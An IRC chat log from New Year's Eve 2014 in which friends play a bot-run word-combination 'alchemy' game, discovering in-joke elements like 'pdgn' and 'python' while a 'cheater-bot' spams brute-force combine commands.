[2014-12-31T15:21:35-0500] <alchemy> hacker and robot don't make anything exciting.
[2014-12-31T15:21:45-0500] <Tamini_> how is nezorg not hacker+robot smh
[2014-12-31T15:21:54-0500] <+JacobEdelman> @combine blackhat aaron
[2014-12-31T15:21:54-0500] <alchemy> blackhat and aaron don't make anything exciting.
[2014-12-31T15:24:14-0500] <Tamini_> JacobEdelman: did cheaterbot find any combis
[2014-12-31T15:24:17-0500] <Tamini_> combos*
[2014-12-31T15:24:20-0500] <Tamini_> i dont remember anymore
[2014-12-31T15:24:25-0500] <+JacobEdelman> nope
[2014-12-31T15:24:36-0500] <Tamini_> heh
[2014-12-31T15:24:47-0500] <Tamini_> make it more intelligent
[2014-12-31T15:24:49-0500] <Tamini_> @hint
[2014-12-31T15:24:50-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T15:24:53-0500] <Tamini_> @hint
[2014-12-31T15:24:54-0500] <alchemy> No can do, buddy.
[2014-12-31T15:24:57-0500] <+JacobEdelman> @combine rainbow man
[2014-12-31T15:24:57-0500] <alchemy> rainbow and man don't make anything exciting.
[2014-12-31T15:25:04-0500] <+JacobEdelman> @combine man man
[2014-12-31T15:25:05-0500] <alchemy> You just discovered friendship (man + man)!
[2014-12-31T15:25:08-0500] <+JacobEdelman> yeah!
[2014-12-31T15:25:10-0500] <+JacobEdelman> wait
[2014-12-31T15:25:16-0500] <Tamini_> @combine hacker friendship
[2014-12-31T15:25:16-0500] <+JacobEdelman> thats bromance or whatever
[2014-12-31T15:25:16-0500] <alchemy> hacker and friendship don't make anything exciting.
[2014-12-31T15:25:19-0500] <+JacobEdelman> not freindship
[2014-12-31T15:25:27-0500] <Tamini_> @combine linux friendship
[2014-12-31T15:25:27-0500] <alchemy> linux and friendship don't make anything exciting.
[2014-12-31T15:25:34-0500] <Tamini_> @combine man friendship
[2014-12-31T15:25:34-0500] <alchemy> man and friendship don't make anything exciting.
[2014-12-31T15:25:36-0500] <+JacobEdelman> freindship is person + person
[2014-12-31T15:25:40-0500] <Tamini_> @combine computer friendship
[2014-12-31T15:25:40-0500] <alchemy> computer and friendship don't make anything exciting.
[2014-12-31T15:25:48-0500] <Tamini_> @combine robot friendship
[2014-12-31T15:25:48-0500] <alchemy> robot and friendship don't make anything exciting.
[2014-12-31T15:25:53-0500] <Tamini_> @combine internet friendship
[2014-12-31T15:25:53-0500] <alchemy> internet and friendship don't make anything exciting.
[2014-12-31T15:26:32-0500] <+JacobEdelman> @combine robot robot
[2014-12-31T15:26:33-0500] <alchemy> robot and robot don't make anything exciting.
[2014-12-31T15:26:39-0500] <+JacobEdelman> robot freindship is a thing!
[2014-12-31T15:26:41-0500] <alokpathy> I feel like we've tried man + man before and got nothing lol
[2014-12-31T15:26:42-0500] <alokpathy> @list
[2014-12-31T15:26:43-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal, hole
[2014-12-31T15:26:43-0500] <alchemy> You have: ice, internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust
[2014-12-31T15:26:43-0500] <alchemy> You have: sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T15:26:43-0500] <alchemy> That's 59 out of 115!
[2014-12-31T15:26:47-0500] <Tamini_> yeah he added stuff
[2014-12-31T15:26:54-0500] <Tamini_> @combine friendship energy
[2014-12-31T15:26:55-0500] <alchemy> friendship and energy don't make anything exciting.
[2014-12-31T15:26:57-0500] <alokpathy> @combine friendship sentience
[2014-12-31T15:26:58-0500] <alchemy> friendship and sentience don't make anything exciting.
[2014-12-31T15:26:59-0500] <+JacobEdelman> @combine olaf hacker
[2014-12-31T15:27:00-0500] <alchemy> olaf and hacker don't make anything exciting.
[2014-12-31T15:27:07-0500] <alokpathy> @combine friendship penguin
[2014-12-31T15:27:08-0500] <+JacobEdelman> @combine hal friendship
[2014-12-31T15:27:09-0500] <alchemy> friendship and penguin don't make anything exciting.
[2014-12-31T15:27:09-0500] <alchemy> hal and friendship don't make anything exciting.
[2014-12-31T15:27:12-0500] <Tamini_> @combine friendship aaron
[2014-12-31T15:27:13-0500] <alchemy> You just discovered pdgn (friendship + aaron)!
[2014-12-31T15:27:16-0500] <Tamini_> LOL
[2014-12-31T15:27:18-0500] <Tamini_> OH YAY
[2014-12-31T15:27:18-0500] <alokpathy> WOOOOOOOOO
[2014-12-31T15:27:20-0500] <+JacobEdelman> HAHA
[2014-12-31T15:27:21-0500] <Tamini_> @combine pdgn hacker
[2014-12-31T15:27:22-0500] <alchemy> You just discovered alok (pdgn + hacker)!
[2014-12-31T15:27:23-0500] <+JacobEdelman> WE DID IT
[2014-12-31T15:27:24-0500] <alokpathy> HAHAHAHAHAHA
[2014-12-31T15:27:25-0500] <+JacobEdelman> nice
[2014-12-31T15:27:27-0500] <bob_twinkles> @combine hacker internet
[2014-12-31T15:27:27-0500] <alchemy> hacker and internet don't make anything exciting.
[2014-12-31T15:27:32-0500] <Tamini_> @combine pdgn linux
[2014-12-31T15:27:32-0500] <bob_twinkles> =(
[2014-12-31T15:27:33-0500] <alchemy> pdgn and linux don't make anything exciting.
[2014-12-31T15:27:37-0500] <alokpathy> @combine pdgn aaron
[2014-12-31T15:27:38-0500] <alchemy> pdgn and aaron don't make anything exciting.
[2014-12-31T15:27:44-0500] <Tamini_> @combine alok friendship
[2014-12-31T15:27:45-0500] <alchemy> alok and friendship don't make anything exciting.
[2014-12-31T15:27:45-0500] <+JacobEdelman> @combine pdgn knight
[2014-12-31T15:27:46-0500] <alchemy> pdgn and knight don't make anything exciting.
[2014-12-31T15:27:53-0500] <+JacobEdelman> @combine pdgn computer
[2014-12-31T15:27:54-0500] <alchemy> pdgn and computer don't make anything exciting.
[2014-12-31T15:27:57-0500] <+JacobEdelman> @combine pdgn sentience
[2014-12-31T15:27:58-0500] <alchemy> pdgn and sentience don't make anything exciting.
[2014-12-31T15:28:04-0500] <alokpathy> Hmm I think we can make love from friendship somehow, but idk.
[2014-12-31T15:28:06-0500] <+JacobEdelman> @combine pdgn vilain
[2014-12-31T15:28:06-0500] <alokpathy> @list
[2014-12-31T15:28:07-0500] <alchemy> You don't have vilain!
[2014-12-31T15:28:08-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:28:08-0500] <alchemy> You have: hole, ice, internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, rain, rainbow
[2014-12-31T15:28:08-0500] <alchemy> You have: robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat
[2014-12-31T15:28:08-0500] <alchemy> You have: wind
[2014-12-31T15:28:08-0500] <alchemy> That's 61 out of 115!
[2014-12-31T15:28:11-0500] <+JacobEdelman> @combine pdgn villain
[2014-12-31T15:28:12-0500] <alchemy> pdgn and villain don't make anything exciting.
[2014-12-31T15:28:16-0500] <alokpathy> @combine pdgn internet
[2014-12-31T15:28:17-0500] <alchemy> pdgn and internet don't make anything exciting.
[2014-12-31T15:28:18-0500] <+JacobEdelman> @combine villain pdgn
[2014-12-31T15:28:19-0500] <alchemy> villain and pdgn don't make anything exciting.
[2014-12-31T15:28:21-0500] <alokpathy> @combine pdgn cloud
[2014-12-31T15:28:22-0500] <alchemy> pdgn and cloud don't make anything exciting.
[2014-12-31T15:28:24-0500] <alokpathy> @combine aaron alok
[2014-12-31T15:28:25-0500] <alchemy> aaron and alok don't make anything exciting.
[2014-12-31T15:28:28-0500] <Tamini_> @combine pdgn aaron
[2014-12-31T15:28:29-0500] <alchemy> pdgn and aaron don't make anything exciting.
[2014-12-31T15:28:32-0500] <alokpathy> Tamini_: 
[2014-12-31T15:28:35-0500] <alokpathy> @possible alokmini
[2014-12-31T15:28:36-0500] <Tamini_> @combine alok pdgn
[2014-12-31T15:28:36-0500] <alchemy> Yeah, you can make alokmini.
[2014-12-31T15:28:37-0500] <alchemy> alok and pdgn don't make anything exciting.
[2014-12-31T15:28:41-0500] <Tamini_> OH MY GOD
[2014-12-31T15:28:43-0500] <+JacobEdelman> LOL
[2014-12-31T15:28:44-0500] <Tamini_> <3
[2014-12-31T15:28:49-0500] <Tamini_> hardmath123: i love you
[2014-12-31T15:29:02-0500] <Tamini_> @combine alok aaron
[2014-12-31T15:29:03-0500] <alchemy> alok and aaron don't make anything exciting.
[2014-12-31T15:29:08-0500] <Tamini_> @combine pdgn robot
[2014-12-31T15:29:09-0500] <alchemy> pdgn and robot don't make anything exciting.
[2014-12-31T15:29:12-0500] <Tamini_> @combine pdgn computer
[2014-12-31T15:29:14-0500] <alchemy> pdgn and computer don't make anything exciting.
[2014-12-31T15:29:15-0500] <+JacobEdelman> @combine alok computer
[2014-12-31T15:29:16-0500] <alchemy> alok and computer don't make anything exciting.
[2014-12-31T15:29:17-0500] <Tamini_> @lost
[2014-12-31T15:29:21-0500] <Tamini_> @list
[2014-12-31T15:29:22-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:29:22-0500] <alchemy> You have: hole, ice, internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, rain, rainbow
[2014-12-31T15:29:22-0500] <alchemy> You have: robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat
[2014-12-31T15:29:22-0500] <alchemy> You have: wind
[2014-12-31T15:29:22-0500] <alchemy> That's 61 out of 115!
[2014-12-31T15:29:30-0500] <+JacobEdelman> @combine alok evil
[2014-12-31T15:29:31-0500] <alchemy> alok and evil don't make anything exciting.
[2014-12-31T15:29:31-0500] <Tamini_> @combine pdgn penguin
[2014-12-31T15:29:32-0500] <alchemy> pdgn and penguin don't make anything exciting.
[2014-12-31T15:29:35-0500] <Tamini_> @combine pdgn light
[2014-12-31T15:29:36-0500] <alchemy> pdgn and light don't make anything exciting.
[2014-12-31T15:29:39-0500] <Tamini_> @combine pdgn evil
[2014-12-31T15:29:40-0500] <alchemy> pdgn and evil don't make anything exciting.
[2014-12-31T15:29:44-0500] <+JacobEdelman> @combine pdgn linux
[2014-12-31T15:29:45-0500] <alchemy> pdgn and linux don't make anything exciting.
[2014-12-31T15:29:45-0500] <Tamini_> @combine pdgn sentience
[2014-12-31T15:29:46-0500] <alchemy> pdgn and sentience don't make anything exciting.
[2014-12-31T15:29:47-0500] <+JacobEdelman> @combine pdgn man
[2014-12-31T15:29:48-0500] <alchemy> pdgn and man don't make anything exciting.
[2014-12-31T15:29:51-0500] <+JacobEdelman> @combine pdgn knight
[2014-12-31T15:29:52-0500] <alchemy> pdgn and knight don't make anything exciting.
[2014-12-31T15:30:00-0500] <Tamini_> @combine alok linux
[2014-12-31T15:30:01-0500] <alchemy> alok and linux don't make anything exciting.
[2014-12-31T15:30:02-0500] <+JacobEdelman> @combine pdgn rainbow
[2014-12-31T15:30:03-0500] <alchemy> pdgn and rainbow don't make anything exciting.
[2014-12-31T15:30:03-0500] <Tamini_> @combine alok man
[2014-12-31T15:30:04-0500] <alchemy> alok and man don't make anything exciting.
[2014-12-31T15:30:09-0500] <Tamini_> @combine alok sentiencr
[2014-12-31T15:30:10-0500] <alchemy> You don't have sentiencr!
[2014-12-31T15:30:14-0500] <Tamini_> @combine alok sentience
[2014-12-31T15:30:15-0500] <alchemy> alok and sentience don't make anything exciting.
[2014-12-31T15:30:17-0500] <+JacobEdelman> @combine pdgn tool
[2014-12-31T15:30:18-0500] <alchemy> pdgn and tool don't make anything exciting.
[2014-12-31T15:30:25-0500] <Tamini_> @combine aaron tool
[2014-12-31T15:30:26-0500] <alchemy> aaron and tool don't make anything exciting.
[2014-12-31T15:30:45-0500] <Tamini_> @combine pdgn neanderthal
[2014-12-31T15:30:46-0500] <+JacobEdelman> @combine pdgn pdgn
[2014-12-31T15:30:46-0500] <alchemy> pdgn and neanderthal don't make anything exciting.
[2014-12-31T15:30:47-0500] <alchemy> pdgn and pdgn don't make anything exciting.
[2014-12-31T15:30:50-0500] <Tamini_> @combine pdgn sword
[2014-12-31T15:30:51-0500] <alchemy> pdgn and sword don't make anything exciting.
[2014-12-31T15:30:55-0500] <Tamini_> @combine pdgn robot
[2014-12-31T15:30:56-0500] <alchemy> pdgn and robot don't make anything exciting.
[2014-12-31T15:30:57-0500] <+JacobEdelman> guys, we should have a pdgn meetup eventually
[2014-12-31T15:30:59-0500] <Tamini_> that should make pidgey
[2014-12-31T15:31:05-0500] <alokpathy> @possibly pidgey
[2014-12-31T15:31:07-0500] <Tamini_> JacobEdelman: we do do sorta meetups :P
[2014-12-31T15:31:09-0500] <alokpathy> @possible pidgey
[2014-12-31T15:31:10-0500] <alchemy> Yeah, you can make pidgey.
[2014-12-31T15:31:13-0500] <Tamini_> wait wut
[2014-12-31T15:31:16-0500] <alokpathy> @possible pokemon
[2014-12-31T15:31:16-0500] <+JacobEdelman> yeah, buts just us
[2014-12-31T15:31:17-0500] <alchemy> No, you can't make pokemon.
[2014-12-31T15:31:23-0500] <Tamini_> well ive met jmgrosen
[2014-12-31T15:31:24-0500] <+JacobEdelman> @possible hardmath123
[2014-12-31T15:31:25-0500] <alchemy> No, you can't make hardmath123.
[2014-12-31T15:31:30-0500] <+hardmath123> @possible hardmath
[2014-12-31T15:31:30-0500] <alokpathy> @possible hardmath
[2014-12-31T15:31:30-0500] <Tamini_> @possible hardmath
[2014-12-31T15:31:31-0500] <alchemy> Yeah, you can make hardmath.
[2014-12-31T15:31:32-0500] <alchemy> Yeah, you can make hardmath.
[2014-12-31T15:31:33-0500] <alchemy> Yeah, you can make hardmath.
[2014-12-31T15:31:33-0500] <+JacobEdelman> oh
[2014-12-31T15:31:34-0500] <Tamini_> LOL
[2014-12-31T15:31:37-0500] <+JacobEdelman> okay
[2014-12-31T15:31:37-0500] <+hardmath123> wow
[2014-12-31T15:31:38-0500] <Tamini_> we all thought the same
[2014-12-31T15:31:42-0500] <+hardmath123> great minds
[2014-12-31T15:31:42-0500] <+JacobEdelman> should have seen that
[2014-12-31T15:31:46-0500] <Tamini_> <3
[2014-12-31T15:31:50-0500] <Tamini_> hardmath123: dammit
[2014-12-31T15:31:52-0500] <+JacobEdelman> >3
[2014-12-31T15:31:54-0500] <+JacobEdelman> oh wait
[2014-12-31T15:31:54-0500] <Tamini_> if alok is the pdgn hacker
[2014-12-31T15:31:55-0500] <+JacobEdelman> backwards
[2014-12-31T15:31:57-0500] <+JacobEdelman> :P
[2014-12-31T15:31:58-0500] <alokpathy> Well hardmath123 showed me it was possible before. I just tried pointing it out.
[2014-12-31T15:31:59-0500] <Tamini_> what are the rest of us
[2014-12-31T15:32:05-0500] <Tamini_> @combine pdgn friendship
[2014-12-31T15:32:06-0500] <alchemy> pdgn and friendship don't make anything exciting.
[2014-12-31T15:32:10-0500] <+hardmath123> @list
[2014-12-31T15:32:10-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:32:10-0500] <alchemy> You have: hole, ice, internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, rain, rainbow
[2014-12-31T15:32:10-0500] <alchemy> You have: robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat
[2014-12-31T15:32:10-0500] <alchemy> You have: wind
[2014-12-31T15:32:10-0500] <alchemy> That's 61 out of 115!
[2014-12-31T15:32:12-0500] <+JacobEdelman> @list
[2014-12-31T15:32:12-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:32:12-0500] <alchemy> You have: hole, ice, internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, rain, rainbow
[2014-12-31T15:32:12-0500] <alchemy> You have: robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat
[2014-12-31T15:32:12-0500] <alchemy> You have: wind
[2014-12-31T15:32:12-0500] <alchemy> That's 61 out of 115!
[2014-12-31T15:32:13-0500] <Tamini_> @combine alok friendship
[2014-12-31T15:32:14-0500] <alchemy> alok and friendship don't make anything exciting.
[2014-12-31T15:32:14-0500] <+JacobEdelman> ...
[2014-12-31T15:32:29-0500] <Tamini_> @combine whitehat alok
[2014-12-31T15:32:29-0500] <alchemy> whitehat and alok don't make anything exciting.
[2014-12-31T15:32:31-0500] <+JacobEdelman> @combine thunder pdgn
[2014-12-31T15:32:32-0500] <alchemy> thunder and pdgn don't make anything exciting.
[2014-12-31T15:32:37-0500] <Tamini_> i need to find myself
[2014-12-31T15:32:40-0500] <+JacobEdelman> @combine internet knight
[2014-12-31T15:32:40-0500] <alchemy> internet and knight don't make anything exciting.
[2014-12-31T15:32:43-0500] <Tamini_> so we can discover alokmini
[2014-12-31T15:32:45-0500] <+JacobEdelman> @combine internet man
[2014-12-31T15:32:46-0500] <alchemy> You already combined internet and man to get hacker.
[2014-12-31T15:32:51-0500] <+JacobEdelman> @combine internet hacker
[2014-12-31T15:32:52-0500] <alchemy> internet and hacker don't make anything exciting.
[2014-12-31T15:32:54-0500] <Tamini_> @combine pdgn internet
[2014-12-31T15:32:55-0500] <alchemy> pdgn and internet don't make anything exciting.
[2014-12-31T15:32:58-0500] <+JacobEdelman> @combine hacker hacker
[2014-12-31T15:32:59-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T15:32:59-0500] <Tamini_> @combine pdgn rust
[2014-12-31T15:33:00-0500] <alchemy> pdgn and rust don't make anything exciting.
[2014-12-31T15:33:11-0500] <Tamini_> I know jacob must be
[2014-12-31T15:33:16-0500] <Tamini_> pdgn + python
[2014-12-31T15:33:21-0500] <Tamini_> but we havent found that yet
[2014-12-31T15:33:25-0500] <Tamini_> @combine alok awe
[2014-12-31T15:33:26-0500] <alchemy> You don't have awe!
[2014-12-31T15:33:30-0500] <Tamini_> @combine alok aaron
[2014-12-31T15:33:31-0500] <alchemy> alok and aaron don't make anything exciting.
[2014-12-31T15:34:00-0500] <Tamini_> @combine robot robot
[2014-12-31T15:34:01-0500] <alchemy> robot and robot don't make anything exciting.
[2014-12-31T15:34:08-0500] <bob_twinkles> @combine robot aaron
[2014-12-31T15:34:08-0500] <alchemy> robot and aaron don't make anything exciting.
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[2014-12-31T15:34:19-0500] <cheater-bot> @combine plant plant
[2014-12-31T15:34:19-0500] <cheater-bot> @combine lava lava
[2014-12-31T15:34:19-0500] <cheater-bot> @combine rainbow rainbow
[2014-12-31T15:34:19-0500] <cheater-bot> @combine chivalry chivalry
[2014-12-31T15:34:19-0500] <cheater-bot> @combine internet internet
[2014-12-31T15:34:19-0500] <cheater-bot> @combine evil evil
[2014-12-31T15:34:20-0500] <cheater-bot> @combine steam steam
[2014-12-31T15:34:20-0500] <cheater-bot> @combine thunder thunder
[2014-12-31T15:34:20-0500] <cheater-bot> @combine tornado tornado
[2014-12-31T15:34:21-0500] <cheater-bot> @combine ice ice
[2014-12-31T15:34:21-0500] <alchemy> plant and plant don't make anything exciting.
[2014-12-31T15:34:22-0500] <cheater-bot> @combine rain rain
[2014-12-31T15:34:22-0500] <alchemy> lava and lava don't make anything exciting.
[2014-12-31T15:34:23-0500] <bob_twinkles> -_-
[2014-12-31T15:34:23-0500] <cheater-bot> @combine hal hal
[2014-12-31T15:34:23-0500] <alchemy> You just discovered joy (rainbow + rainbow)!
[2014-12-31T15:34:24-0500] <cheater-bot> @combine cloud cloud
[2014-12-31T15:34:24-0500] <alchemy> chivalry and chivalry don't make anything exciting.
[2014-12-31T15:34:25-0500] <cheater-bot> @combine friendship friendship
[2014-12-31T15:34:25-0500] <alchemy> internet and internet don't make anything exciting.
[2014-12-31T15:34:26-0500] <cheater-bot> @combine sentience sentience
[2014-12-31T15:34:26-0500] <alchemy> evil and evil don't make anything exciting.
[2014-12-31T15:34:27-0500] <cheater-bot> @combine google google
[2014-12-31T15:34:27-0500] <alchemy> steam and steam don't make anything exciting.
[2014-12-31T15:34:28-0500] <cheater-bot> @combine hole hole
[2014-12-31T15:34:28-0500] <alchemy> thunder and thunder don't make anything exciting.
[2014-12-31T15:34:28-0500] <+JacobEdelman> just a little?
[2014-12-31T15:34:29-0500] <cheater-bot> @combine tree tree
[2014-12-31T15:34:29-0500] <alchemy> tornado and tornado don't make anything exciting.
[2014-12-31T15:34:30-0500] <cheater-bot> @combine whitehat whitehat
[2014-12-31T15:34:30-0500] <alokpathy> :|
[2014-12-31T15:34:30-0500] <alchemy> ice and ice don't make anything exciting.
[2014-12-31T15:34:31-0500] <cheater-bot> @combine pdgn pdgn
[2014-12-31T15:34:31-0500] <alchemy> rain and rain don't make anything exciting.
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[2014-12-31T15:34:32-0500] <alchemy> hal and hal don't make anything exciting.
[2014-12-31T15:34:33-0500] <alchemy> You already combined cloud and cloud to get thunder.
[2014-12-31T15:34:34-0500] <alchemy> friendship and friendship don't make anything exciting.
[2014-12-31T15:34:35-0500] <alchemy> sentience and sentience don't make anything exciting.
[2014-12-31T15:34:36-0500] <alchemy> google and google don't make anything exciting.
[2014-12-31T15:34:37-0500] <alchemy> hole and hole don't make anything exciting.
[2014-12-31T15:34:39-0500] <alchemy> tree and tree don't make anything exciting.
[2014-12-31T15:34:40-0500] <alchemy> whitehat and whitehat don't make anything exciting.
[2014-12-31T15:34:42-0500] <alchemy> pdgn and pdgn don't make anything exciting.
[2014-12-31T15:34:47-0500] <+JacobEdelman> so, it got oy
[2014-12-31T15:34:49-0500] <+JacobEdelman> *joy
[2014-12-31T15:34:54-0500] <bob_twinkles> yep
[2014-12-31T15:34:57-0500] <+JacobEdelman> @combine pdgn joy
[2014-12-31T15:34:57-0500] <alchemy> pdgn and joy don't make anything exciting.
[2014-12-31T15:34:59-0500] <alokpathy> @list
[2014-12-31T15:34:59-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:34:59-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, rain
[2014-12-31T15:34:59-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water
[2014-12-31T15:34:59-0500] <alchemy> You have: whitehat, wind
[2014-12-31T15:34:59-0500] <alchemy> That's 62 out of 115!
[2014-12-31T15:35:02-0500] <alokpathy> @combine joy alok
[2014-12-31T15:35:03-0500] <alchemy> joy and alok don't make anything exciting.
[2014-12-31T15:35:03-0500] <+JacobEdelman> @combine alok joy
[2014-12-31T15:35:03-0500] <bob_twinkles> @combine joy internet
[2014-12-31T15:35:04-0500] <alchemy> alok and joy don't make anything exciting.
[2014-12-31T15:35:05-0500] <alchemy> joy and internet don't make anything exciting.
[2014-12-31T15:35:07-0500] <alokpathy> @combine joy hacker
[2014-12-31T15:35:08-0500] <alchemy> You just discovered python (joy + hacker)!
[2014-12-31T15:35:09-0500] <bob_twinkles> @combine joy linux
[2014-12-31T15:35:09-0500] <alchemy> joy and linux don't make anything exciting.
[2014-12-31T15:35:12-0500] <alokpathy> woo
[2014-12-31T15:35:13-0500] <+JacobEdelman> !python
[2014-12-31T15:35:14-0500] <Tamini_> double rainbow is joy
[2014-12-31T15:35:16-0500] <+JacobEdelman> yeah!
[2014-12-31T15:35:23-0500] <+JacobEdelman> @combine aaron python
[2014-12-31T15:35:24-0500] <alchemy> aaron and python don't make anything exciting.
[2014-12-31T15:35:24-0500] <bob_twinkles> @combine python linux
[2014-12-31T15:35:25-0500] <alchemy> python and linux don't make anything exciting.
[2014-12-31T15:35:29-0500] <+JacobEdelman> @combine python pdgn
[2014-12-31T15:35:30-0500] <bob_twinkles> alchemy: false
[2014-12-31T15:35:30-0500] <alchemy> python and pdgn don't make anything exciting.
[2014-12-31T15:35:40-0500] <alokpathy> @combine python hacker
[2014-12-31T15:35:41-0500] <alchemy> python and hacker don't make anything exciting.
[2014-12-31T15:35:42-0500] <+JacobEdelman> wanna try brute forcing a bit more?
[2014-12-31T15:35:46-0500] <alokpathy> :|
[2014-12-31T15:35:46-0500] <+JacobEdelman> just for doubles
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[2014-12-31T15:35:49-0500] <+JacobEdelman> okay
[2014-12-31T15:35:51-0500] <+JacobEdelman> I won't
[2014-12-31T15:35:53-0500] <Tamini_> wait
[2014-12-31T15:35:59-0500] <alokpathy> better-alchemy?
[2014-12-31T15:36:00-0500] <alokpathy> whodat
[2014-12-31T15:36:00-0500] <+JacobEdelman> wht?
[2014-12-31T15:36:04-0500] <Tamini_> @combine  python pdgn
[2014-12-31T15:36:04-0500] <+hardmath123> I was refactoring code
[2014-12-31T15:36:07-0500] <+JacobEdelman> ah
[2014-12-31T15:36:07-0500] <+hardmath123> and resting it
[2014-12-31T15:36:08-0500] <+JacobEdelman> okay
[2014-12-31T15:36:10-0500] <alokpathy> Oh okay.
[2014-12-31T15:36:10-0500] <+hardmath123> *testing
[2014-12-31T15:36:16-0500] <+JacobEdelman> @combine python pdgn
[2014-12-31T15:36:16-0500] <alchemy> python and pdgn don't make anything exciting.
[2014-12-31T15:36:18-0500] <+hardmath123> I'll move testing to some other channel
[2014-12-31T15:36:18-0500] <Tamini_> @combine python psgn
[2014-12-31T15:36:20-0500] <alchemy> You don't have psgn!
[2014-12-31T15:36:21-0500] <Tamini_> wait darn
[2014-12-31T15:36:22-0500] <bob_twinkles> JacobEdelman: first grep your logs to avoid duplication
[2014-12-31T15:36:31-0500] <+JacobEdelman> what logs :P
[2014-12-31T15:36:33-0500] <bob_twinkles> -_-
[2014-12-31T15:36:36-0500] <alokpathy> :|
[2014-12-31T15:36:42-0500] <+JacobEdelman> sorry
[2014-12-31T15:36:42-0500] <Tamini_> -____-
[2014-12-31T15:36:45-0500] <Tamini_> but hm
[2014-12-31T15:36:48-0500] <Tamini_> python + man
[2014-12-31T15:36:53-0500] <Tamini_> @combine python man
[2014-12-31T15:36:54-0500] <alokpathy> @combine python man
[2014-12-31T15:36:54-0500] <alchemy> python and man don't make anything exciting.
[2014-12-31T15:36:55-0500] <alchemy> python and man don't make anything exciting.
[2014-12-31T15:36:56-0500] <alokpathy> :(
[2014-12-31T15:36:58-0500] <alokpathy> @list
[2014-12-31T15:36:58-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:36:58-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:36:58-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:36:58-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:36:58-0500] <alchemy> That's 63 out of 115!
[2014-12-31T15:37:01-0500] <+JacobEdelman> @combine python python
[2014-12-31T15:37:01-0500] <alchemy> python and python don't make anything exciting.
[2014-12-31T15:37:03-0500] <Tamini_> where's jacob
[2014-12-31T15:37:04-0500] <Tamini_> :<
[2014-12-31T15:37:05-0500] <alokpathy> @combine joy joy
[2014-12-31T15:37:06-0500] <alchemy> joy and joy don't make anything exciting.
[2014-12-31T15:37:10-0500] <+JacobEdelman> hardmath123: add in pypy
[2014-12-31T15:37:21-0500] <+JacobEdelman> when you combine python and python
[2014-12-31T15:37:26-0500] <Tamini_> heh
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[2014-12-31T15:37:27-0500] <cheater-bot> @combine hal hal
[2014-12-31T15:37:27-0500] <cheater-bot> @combine lightning lightning
[2014-12-31T15:37:27-0500] <cheater-bot> @combine boat boat
[2014-12-31T15:37:27-0500] <cheater-bot> @combine internet internet
[2014-12-31T15:37:28-0500] <cheater-bot> @combine snowman snowman
[2014-12-31T15:37:28-0500] <cheater-bot> @combine friendship friendship
[2014-12-31T15:37:28-0500] <cheater-bot> @combine lava lava
[2014-12-31T15:37:28-0500] <cheater-bot> @combine light light
[2014-12-31T15:37:28-0500] <cheater-bot> @combine pdgn pdgn
[2014-12-31T15:37:29-0500] <cheater-bot> @combine fire fire
[2014-12-31T15:37:29-0500] <+JacobEdelman> incoming
[2014-12-31T15:37:29-0500] <alchemy> hal and hal don't make anything exciting.
[2014-12-31T15:37:30-0500] <cheater-bot> @combine cloud cloud
[2014-12-31T15:37:30-0500] <alchemy> lightning and lightning don't make anything exciting.
[2014-12-31T15:37:31-0500] <cheater-bot> @combine alok alok
[2014-12-31T15:37:31-0500] <alchemy> boat and boat don't make anything exciting.
[2014-12-31T15:37:32-0500] <cheater-bot> @combine ocean ocean
[2014-12-31T15:37:32-0500] <alchemy> internet and internet don't make anything exciting.
[2014-12-31T15:37:33-0500] <cheater-bot> @combine rain rain
